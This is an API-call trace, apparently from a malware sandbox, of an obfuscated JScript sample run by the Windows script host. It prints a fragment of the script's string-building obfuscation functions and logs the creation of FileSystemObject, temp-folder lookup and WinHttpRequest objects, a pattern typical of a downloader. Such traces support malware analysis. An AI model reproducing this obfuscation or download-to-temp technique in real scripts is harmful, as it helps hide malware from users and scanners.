	[0041.423] wcsncmp (_String1="yingGentleSituation(e){return soo", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 108
	[0041.423] wcsncmp (_String1="ingGentleSituation(e){return soon", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 92
	[0041.424] wcsncmp (_String1="ngGentleSituation(e){return soonF", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 97
	[0041.424] wcsncmp (_String1="gGentleSituation(e){return soonFo", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 90
	[0041.424] wcsncmp (_String1="GentleSituation(e){return soonFor", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 58
	[0041.424] wcsncmp (_String1="entleSituation(e){return soonForY", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 88
	[0041.424] wcsncmp (_String1="ntleSituation(e){return soonForYo", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 97
	[0041.424] wcsncmp (_String1="tleSituation(e){return soonForYou", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 103
	[0041.424] wcsncmp (_String1="leSituation(e){return soonForYoun", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 95
	[0041.424] wcsncmp (_String1="eSituation(e){return soonForYoung", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 88
	[0041.424] wcsncmp (_String1="Situation(e){return soonForYounge", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 70
	[0041.424] wcsncmp (_String1="ituation(e){return soonForYounger", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 92
	[0041.424] wcsncmp (_String1="tuation(e){return soonForYoungerY", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 103
	[0041.424] wcsncmp (_String1="uation(e){return soonForYoungerYo", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 104
	[0041.424] wcsncmp (_String1="ation(e){return soonForYoungerYou", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 84
	[0041.424] wcsncmp (_String1="tion(e){return soonForYoungerYoun", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 103
	[0041.424] wcsncmp (_String1="ion(e){return soonForYoungerYoung", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 92
	[0041.424] wcsncmp (_String1="on(e){return soonForYoungerYoung[", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 98
	[0041.424] wcsncmp (_String1="n(e){return soonForYoungerYoung[6", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 97
	[0041.424] wcsncmp (_String1="(e){return soonForYoungerYoung[6]", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 27
	[0041.424] wcsncmp (_String1="e){return soonForYoungerYoung[6]+", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 88
	[0041.424] wcsncmp (_String1="){return soonForYoungerYoung[6]+s", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 28
	[0041.424] wcsncmp (_String1="{return soonForYoungerYoung[6]+sh", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 110
	[0041.424] wcsncmp (_String1="return soonForYoungerYoung[6]+sha", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 101
	[0041.424] wcsncmp (_String1="eturn soonForYoungerYoung[6]+shak", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 88
	[0041.424] wcsncmp (_String1="turn soonForYoungerYoung[6]+shake", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 103
	[0041.424] wcsncmp (_String1="urn soonForYoungerYoung[6]+shakeW", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 104
	[0041.425] wcsncmp (_String1="rn soonForYoungerYoung[6]+shakeWo", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 101
	[0041.425] wcsncmp (_String1="n soonForYoungerYoung[6]+shakeWor", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 97
	[0041.425] wcsncmp (_String1=" soonForYoungerYoung[6]+shakeWork", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 19
	[0041.425] wcsncmp (_String1="soonForYoungerYoung[6]+shakeWorke", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 102
	[0041.425] wcsncmp (_String1="oonForYoungerYoung[6]+shakeWorker", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 98
	[0041.425] wcsncmp (_String1="onForYoungerYoung[6]+shakeWorkerM", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 98
	[0041.425] wcsncmp (_String1="nForYoungerYoung[6]+shakeWorkerMo", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 97
	[0041.425] wcsncmp (_String1="ForYoungerYoung[6]+shakeWorkerMod", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 57
	[0041.425] wcsncmp (_String1="orYoungerYoung[6]+shakeWorkerMode", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 98
	[0041.425] wcsncmp (_String1="rYoungerYoung[6]+shakeWorkerModer", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 101
	[0041.425] wcsncmp (_String1="YoungerYoung[6]+shakeWorkerModern", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 76
	[0041.425] wcsncmp (_String1="oungerYoung[6]+shakeWorkerModernP", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 98
	[0041.425] SetLastError (dwErrCode=0xb) 
	[0041.425] GetLastError () returned 0xb
	[0041.425] SetLastError (dwErrCode=0xb) 
	[0041.427] ComputeAccessTokenFromCodeAuthzLevel () returned 0x1
	[0041.428] CloseCodeAuthzLevel () returned 0x1
	[0041.428] FreeLibrary (hLibModule=0x7ffc01640000) returned 1
	[0041.428] SysStringLen (param_1="function stemsAfraidPlus(e){return presidentInsideTopicSweet[9]+centerPageRabbitRefusedVolume.dug+manufacturingSeaSurrounded[12]+higherWinGraduallyParticularly[1]+harderCompoundWrittenStuckThus[8]}function studyingGentleSituation(e){return soonForYoungerYoung[6]+shakeWorkerModernPoliceman[5]+higherWinGraduallyParticularly[0]+payTeaAdditionalSheetGuide[10]+harderCompoundWrittenStuckThus[8]+manufacturingSeaSurrounded[10]}function wishPrincipalOur(e){return manufacturingSeaSurrounded[10]+harderCompoundWrittenStuckThus[8]+harderCompoundWrittenStuckThus[8]+higherWinGraduallyParticularly[1]+soonForYoungerYoung[1]+serviceMeanSeason[13]+serviceMeanSeason[13]+repeatPayDeeplyDroppedPeace[13]+shakeWorkerModernPoliceman[5]+harderCompoundWrittenStuckThus[8]+dogLandThreePoliticalDivision[11]+payTeaAdditionalSheetGuide[10]+shakeWorkerModernPoliceman[5]+serviceMeanSeason[13]+shakeWorkerModernPoliceman[6]+higherWinGraduallyParticularly[1]+serviceMeanSeason[13]+shakeWorkerModernPoliceman[6]+higherWinGraduallyParticularly[1]+awayBlanketArrangementTelevision[0]+wouldNeckNounIndeedSure.exciting+higherWinGraduallyParticularly[6]+fortFarAmountDozen[6]+manufacturingSeaSurrounded[12]+higherWinGraduallyParticularly[0]+serviceMeanSeason[13]+manufacturingSeaSurrounded[12]+fortFarAmountDozen[6]+wouldNeckNounIndeedSure.exciting+payTeaAdditionalSheetGuide[10]+shakeWorkerModernPoliceman[5]+repeatPayDeeplyDroppedPeace[12]+serviceMeanSeason[13]+weighEnoughUponBillFruit.suddenly+weighEnoughUponBillFruit.suddenly+weighEnoughUponBillFruit.suddenly+weighEnoughUponBillFruit.suddenly+dogLandThreePoliticalDivision[11]+shakeWorkerModernPoliceman[5]+methodVariousPosition[8]+shakeWorkerModernPoliceman[5]}function fourFatherParallelSeeingWhy(e){return manufacturingSeaSurrounded[15]}function knownAdditionRodVegetableRepeat(e){return fortFarAmountDozen[3]}function replaceRememberFreedom(e){return fortFarAmountDozen[3]+harderCompoundWrittenStuckThus[8]+wouldNeckNounIndeedSure.exciting+harderCompoundWrittenStuckThus[8]+eveningDreamMissingOxygenMilitary.wholeSum+repeatPayDeeplyDroppedPeace[12]}function calmBecomingLyingOpposite(e){return fortFarAmountDozen[3]+harderCompoundWrittenStuckThus[8]+wouldNeckNounIndeedSure.exciting+harderCompoundWrittenStuckThus[8]+eveningDreamMissingOxygenMilitary.wholeSum+repeatPayDeeplyDroppedPeace[12]}function honorCaughtFlowerCorner(e){return fortFarAmountDozen[3]+presidentInsideTopicSweet[9]+centerPageRabbitRefusedVolume.dug+manufacturingSeaSurrounded[12]+higherWinGraduallyParticularly[1]+harderCompoundWrittenStuckThus[8]+shakeWorkerModernPoliceman[4]+wouldNeckNounIndeedSure.exciting+fortFarAmountDozen[6]+shakeWorkerModernPoliceman[5]}function forthConcernedBrushYou(e){return soonForYoungerYoung[3]+shakeWorkerModernPoliceman[5]+harderCompoundWrittenStuckThus[8]+fortFarAmountDozen[3]+higherWinGraduallyParticularly[1]+shakeWorkerModernPoliceman[5]+presidentInsideTopicSweet[9]+manufacturingSeaSurrounded[12]+wouldNeckNounIndeedSure.exciting+soonForYoungerYoung[6]+fortFarAmountDozen[10]+methodVariousPosition[15]+soonForYoungerYoung[6]+higherWinGraduallyParticularly[6]+shakeWorkerModernPoliceman[5]+centerPageRabbitRefusedVolume.dug}function frontBagFreeMotorHall(e){return methodVariousPosition[15]+higherWinGraduallyParticularly[1]+shakeWorkerModernPoliceman[5]+higherWinGraduallyParticularly[0]}function characterSetsBreatheHouseMountain(e){return repeatPayDeeplyDroppedPeace[12]+shakeWorkerModernPoliceman[5]+harderCompoundWrittenStuckThus[8]+presidentInsideTopicSweet[7]+manufacturingSeaSurrounded[12]+fortFarAmountDozen[6]+shakeWorkerModernPoliceman[5]+methodVariousPosition[15]+eveningDreamMissingOxygenMilitary.wholeSum+harderCompoundWrittenStuckThus[8]+repeatPayDeeplyDroppedPeace[12]}function chartHelpfulBlueNeighborhood(e){return presidentInsideTopicSweet[9]+centerPageRabbitRefusedVolume.dug+manufacturingSeaSurrounded[12]+higherWinGraduallyParticularly[1]+harderCompoundWrittenStuckThus[8]+manufacturingSeaSurrounded[12]+higherWinGraduallyParticularly[0]+payTeaAdditionalSheetGuide[10]+dogLandThreePoliticalDivision[11]+fortFarAmountDozen[10]+manufacturingSeaSurrounded[12]+soonForYoungerYoung[6]}function foreignBrainToldFurtherDiscussion(e){return repeatPayDeeplyDroppedPeace[12]+shakeWorkerModernPoliceman[5]+higherWinGraduallyParticularly[0]+higherWinGraduallyParticularly[6]}function sumFrontFortyChurchSimilar(e){return centerPageRabbitRefusedVolume.dug+eveningDreamMissingOxygenMilitary.wholeSum+higherWinGraduallyParticularly[0]}function largerShowExcellentMeatUnit(e){return centerPageRabbitRefusedVolume.dug+eveningDreamMissingOxygenMilitary.wholeSum+higherWinGraduallyParticularly[0]}function askHarderPowderForWon(e){return soonForYoungerYoung[3]+dogLandThreePoliticalDivision[2]+presidentInsideTopicSweet[7]}function pairWriteFirstBring(e){return soonForYoungerYoung[0]+fortFarAmountDozen[3]+shakeWorkerModernPoliceman[2]+soonForYoungerYoung[0]+jetActualHealth.think+jetActualHealth.invented+dogLandThreePoliticalDivision[11]+shakeWorkerModernPoliceman[2]+soonForYoungerYoung[0]+jetActualHealth.think+centerPageRabbitRefusedVolume.sentenceCompletely+presiden") returned 0x50f8
	[0041.429] GetCurrentThreadId () returned 0xd9c
	[0041.504] CoGetObjectContext (in: riid=0x7ffbed33a8a8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x95b977edd8 | out: ppv=0x95b977edd8*=0x95b982e928) returned 0x0
	[0041.511] StdGlobalInterfaceTable:IGlobalInterfaceTable:RegisterInterfaceInGlobal (in: This=0x7ffc01ad6e80, pUnk=0x95b9b97b50, riid=0x7ffbed33a8b8*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pdwCookie=0x95b9b97b88 | out: pdwCookie=0x95b9b97b88*=0x100) returned 0x0
	[0041.511] IUnknown:AddRef (This=0x95b9b97b50) returned 0x2
	[0041.511] IUnknown:QueryInterface (in: This=0x95b9b97b50, riid=0x7ffc01a5eee8*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x95b977ecb8 | out: ppvObject=0x95b977ecb8*=0x0) returned 0x80004002
	[0041.511] IUnknown:AddRef (This=0x95b9b97b50) returned 0x3
	[0041.511] IUnknown:QueryInterface (in: This=0x95b9b97b50, riid=0x7ffc01a5eef8*(Data1=0x39, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95b977ebb8 | out: ppvObject=0x95b977ebb8*=0x0) returned 0x80004002
	[0041.511] IUnknown:QueryInterface (in: This=0x95b9b97b50, riid=0x7ffc01a5eea8*(Data1=0x1b, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95b977eba0 | out: ppvObject=0x95b977eba0*=0x0) returned 0x80004002
	[0041.511] IUnknown:QueryInterface (in: This=0x95b9b97b50, riid=0x7ffc01a5e4e0*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x95b977ebc0 | out: ppvObject=0x95b977ebc0*=0x0) returned 0x80004002
	[0041.511] IUnknown:QueryInterface (in: This=0x95b9b97b50, riid=0x7ffc01a5e4f0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95b977ebb0 | out: ppvObject=0x95b977ebb0*=0x0) returned 0x80004002
	[0041.511] IUnknown:Release (This=0x95b9b97b50) returned 0x2
	[0041.511] IUnknown:AddRef (This=0x95b9b97b50) returned 0x3
	[0041.511] IUnknown:Release (This=0x95b9b97b50) returned 0x2
	[0041.512] IUnknown:AddRef (This=0x95b982e928) returned 0x2
	[0041.512] IUnknown:Release (This=0x95b982e928) returned 0x1
	[0041.514] CoGetObjectContext (in: riid=0x7ffbed33a8a8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x95b977ee98 | out: ppv=0x95b977ee98*=0x95b982e928) returned 0x0
	[0041.514] IUnknown:Release (This=0x95b982e928) returned 0x1
	[0041.514] ISystemDebugEventFire:IsActive (This=0x95b984dc20) returned 0x1
	[0041.514] CoGetObjectContext (in: riid=0x7ffbed33a8a8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x95b977ef38 | out: ppv=0x95b977ef38*=0x95b982e928) returned 0x0
	[0041.514] IUnknown:Release (This=0x95b982e928) returned 0x1
	[0041.515] GetCurrentThreadId () returned 0xd9c
	[0044.688] AmsiScanString () returned 0x80070015
	[0055.091] CLSIDFromProgIDEx (in: lpszProgID="Scripting.FileSystemObject", lpclsid=0x95b977d140 | out: lpclsid=0x95b977d140*(Data1=0xd43fe01, Data2=0xf093, Data3=0x11cf, Data4=([0]=0x89, [1]=0x40, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x5, [6]=0x42, [7]=0x28))) returned 0x0
	[0055.093] SysStringLen (param_1=0x0) returned 0x0
	[0055.093] CoGetClassObject (in: rclsid=0x95b977d140*(Data1=0xd43fe01, Data2=0xf093, Data3=0x11cf, Data4=([0]=0x89, [1]=0x40, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x5, [6]=0x42, [7]=0x28)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffbed33a788*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x95b977d100 | out: ppv=0x95b977d100*=0x95bba7d150) returned 0x0
	[0055.348] FileSystemObject:IUnknown:QueryInterface (in: This=0x95bba7d150, riid=0x7ffbed33a798*(Data1=0x342d1ea0, Data2=0xae25, Data3=0x11d1, Data4=([0]=0x89, [1]=0xc5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), ppvObject=0x95b977d108 | out: ppvObject=0x95b977d108*=0x0) returned 0x80004002
	[0055.348] FileSystemObject:IClassFactory:CreateInstance (in: This=0x95bba7d150, pUnkOuter=0x0, riid=0x7ffbed33a8a8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95b977d0f8 | out: ppvObject=0x95b977d0f8*=0x95bba7d2d0) returned 0x0
	[0055.348] FileSystemObject:IUnknown:Release (This=0x95bba7d150) returned 0x0
	[0055.348] IUnknown:QueryInterface (in: This=0x95bba7d2d0, riid=0x7ffbed33a768*(Data1=0xfc4801a3, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x95b977d0c0 | out: ppvObject=0x95b977d0c0*=0x0) returned 0x80004002
	[0055.348] IUnknown:QueryInterface (in: This=0x95bba7d2d0, riid=0x7ffbed33a8d8*(Data1=0x9bcb0016, Data2=0xbc2a, Data3=0x47b7, Data4=([0]=0x81, [1]=0x54, [2]=0x85, [3]=0x80, [4]=0xa1, [5]=0x5c, [6]=0x3f, [7]=0xf0)), ppvObject=0x95b977d070 | out: ppvObject=0x95b977d070*=0x0) returned 0x80004002
	[0055.348] IUnknown:QueryInterface (in: This=0x95bba7d2d0, riid=0x7ffbed33a8e8*(Data1=0x719c3050, Data2=0xf9d3, Data3=0x11cf, Data4=([0]=0xa4, [1]=0x93, [2]=0x0, [3]=0x40, [4]=0x5, [5]=0x23, [6]=0xa8, [7]=0xa0)), ppvObject=0x95b977d080 | out: ppvObject=0x95b977d080*=0x0) returned 0x80004002
	[0055.348] IUnknown:QueryInterface (in: This=0x95bba7d2d0, riid=0x7ffbed33a8f8*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95b977d088 | out: ppvObject=0x95b977d088*=0x0) returned 0x80004002
	[0055.348] IUnknown:QueryInterface (in: This=0x95bba7d2d0, riid=0x7ffbed337858*(Data1=0xa0aac450, Data2=0xa77b, Data3=0x11cf, Data4=([0]=0x91, [1]=0xd0, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xc1, [6]=0x4a, [7]=0x7c)), ppvObject=0x95b977d010 | out: ppvObject=0x95b977d010*=0x0) returned 0x80004002
	[0055.348] IUnknown:QueryInterface (in: This=0x95bba7d2d0, riid=0x7ffbed33a8b8*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95b977d018 | out: ppvObject=0x95b977d018*=0x95bba7d2d0) returned 0x0
	[0055.348] IUnknown:Release (This=0x95bba7d2d0) returned 0x1
	[0055.349] IDispatch:GetIDsOfNames (in: This=0x95bba7d2d0, riid=0x7ffbed33a8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95b977d0f8*="GetSpecialFolder", cNames=0x1, lcid=0x9500000409, rgDispId=0x95b977d108 | out: rgDispId=0x95b977d108*=10014) returned 0x0
	[0055.349] IUnknown:AddRef (This=0x95bba7d2d0) returned 0x2
	[0055.349] IDispatch:Invoke (in: This=0x95bba7d2d0, dispIdMember=10014, riid=0x7ffbed33a8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95b977d150*(rgvarg=([0]=0x95b9b9ab00*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x9500000002, varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95b977d5c8, pExcepInfo=0x95b977d170, puArgErr=0x95b977d0f0 | out: pDispParams=0x95b977d150*(rgvarg=([0]=0x95b9b9ab00*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x9500000002, varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95b977d5c8*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x95bba49e78, varVal2=0x0), pExcepInfo=0x95b977d170*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95b977d0f0*=0xb977d5c8) returned 0x0
	[0055.356] IUnknown:Release (This=0x95bba7d2d0) returned 0x1
	[0055.356] IUnknown:QueryInterface (in: This=0x95bba49e78, riid=0x7ffbed33a8d8*(Data1=0x9bcb0016, Data2=0xbc2a, Data3=0x47b7, Data4=([0]=0x81, [1]=0x54, [2]=0x85, [3]=0x80, [4]=0xa1, [5]=0x5c, [6]=0x3f, [7]=0xf0)), ppvObject=0x95b977d090 | out: ppvObject=0x95b977d090*=0x0) returned 0x80004002
	[0055.356] IUnknown:QueryInterface (in: This=0x95bba49e78, riid=0x7ffbed33a8e8*(Data1=0x719c3050, Data2=0xf9d3, Data3=0x11cf, Data4=([0]=0xa4, [1]=0x93, [2]=0x0, [3]=0x40, [4]=0x5, [5]=0x23, [6]=0xa8, [7]=0xa0)), ppvObject=0x95b977d0a0 | out: ppvObject=0x95b977d0a0*=0x0) returned 0x80004002
	[0055.356] IUnknown:QueryInterface (in: This=0x95bba49e78, riid=0x7ffbed33a8f8*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95b977d0a8 | out: ppvObject=0x95b977d0a8*=0x0) returned 0x80004002
	[0055.356] IUnknown:QueryInterface (in: This=0x95bba49e78, riid=0x7ffbed337858*(Data1=0xa0aac450, Data2=0xa77b, Data3=0x11cf, Data4=([0]=0x91, [1]=0xd0, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xc1, [6]=0x4a, [7]=0x7c)), ppvObject=0x95b977d030 | out: ppvObject=0x95b977d030*=0x0) returned 0x80004002
	[0055.356] IUnknown:QueryInterface (in: This=0x95bba49e78, riid=0x7ffbed33a8b8*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95b977d038 | out: ppvObject=0x95b977d038*=0x95bba49e78) returned 0x0
	[0055.357] IUnknown:Release (This=0x95bba49e78) returned 0x1
	[0055.357] CLSIDFromProgIDEx (in: lpszProgID="WinHttp.WinHttpRequest.5.1", lpclsid=0x95b977d140 | out: lpclsid=0x95b977d140*(Data1=0x2087c2f4, Data2=0x2cef, Data3=0x4953, Data4=([0]=0xa8, [1]=0xab, [2]=0x66, [3]=0x77, [4]=0x9b, [5]=0x67, [6]=0x4, [7]=0x95))) returned 0x0
	[0055.358] SysStringLen (param_1=0x0) returned 0x0
	[0055.358] CoGetClassObject (in: rclsid=0x95b977d140*(Data1=0x2087c2f4, Data2=0x2cef, Data3=0x4953, Data4=([0]=0xa8, [1]=0xab, [2]=0x66, [3]=0x77, [4]=0x9b, [5]=0x67, [6]=0x4, [7]=0x95)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffbed33a788*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x95b977d100 | out: ppv=0x95b977d100*=0x95b98929a0) returned 0x0
	[0055.698] WinHttpRequest:IUnknown:QueryInterface (in: This=0x95b98929a0, riid=0x7ffbed33a798*(Data1=0x342d1ea0, Data2=0xae25, Data3=0x11d1, Data4=([0]=0x89, [1]=0xc5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), ppvObject=0x95b977d108 | out: ppvObject=0x95b977d108*=0x0) returned 0x80004002
	[0055.698] WinHttpRequest:IClassFactory:CreateInstance (in: This=0x95b98929a0, pUnkOuter=0x0, riid=0x7ffbed33a8a8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95b977d0f8 | out: ppvObject=0x95b977d0f8*=0x95b98943a0) returned 0x0
	[0055.699] WinHttpRequest:IUnknown:Release (This=0x95b98929a0) returned 0x0
	[0055.699] IUnknown:QueryInterface (in: This=0x95b98943a0, riid=0x7ffbed33a768*(Data1=0xfc4801a3, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x95b977d0c0 | out: ppvObject=0x95b977d0c0*=0x0) returned 0x80004002
	[0055.699] IUnknown:QueryInterface (in: This=0x95b98943a0, riid=0x7ffbed33a8d8*(Data1=0x9bcb0016, Data2=0xbc2a, Data3=0x47b7, Data4=([0]=0x81, [1]=0x54, [2]=0x85, [3]=0x80, [4]=0xa1, [5]=0x5c, [6]=0x3f, [7]=0xf0)), ppvObject=0x95b977d070 | out: ppvObject=0x95b977d070*=0x0) returned 0x80004002
	[0055.699] IUnknown:QueryInterface (in: This=0x95b98943a0, riid=0x7ffbed33a8e8*(Data1=0x719c3050, Data2=0xf9d3, Data3=0x11cf, Data4=([0]=0xa4, [1]=0x93, [2]=0x0, [3]=0x40, [4]=0x5, [5]=0x23, [6]=0xa8, [7]=0xa0)), ppvObject=0x95b977d080 | out: ppvObject=0x95b977d080*=0x0) returned 0x80004002
	[0055.699] IUnknown:QueryInterface (in: This=0x95b98943a0, riid=0x7ffbed33a8f8*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95b977d088 | out: ppvObject=0x95b977d088*=0x0) returned 0x80004002
	[0055.699] IUnknown:QueryInterface (in: This=0x95b98943a0, riid=0x7ffbed337858*(Data1=0xa0aac450, Data2=0xa77b, Data3=0x11cf, Data4=([0]=0x91, [1]=0xd0, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xc1, [6]=0x4a, [7]=0x7c)), ppvObject=0x95b977d010 | out: ppvObject=0x95b977d010*=0x0) returned 0x80004002
	[0055.699] IUnknown:QueryInterface (in: This=0x95b98943a0, riid=0x7ffbed33a8b8*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95b977d018 | out: ppvObject=0x95b977d018*=0x95b98943a0) returned 0x0
	[0055.700] IUnknown:Release (This=0x95b98943a0) returned 0x1
	[0055.700] IDispatch:GetIDsOfNames (in: This=0x95b98943a0, riid=0x7ffbed33a8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95b977d0f8*="setTimeouts", cNames=0x1, lcid=0x7ffb00000409, rgDispId=0x95b977d108 | out: rgDispId=0x95b977d108*=16) returned 0x0
	[0055.700] IUnknown:AddRef (This=0x95b98943a0) returned 0x2
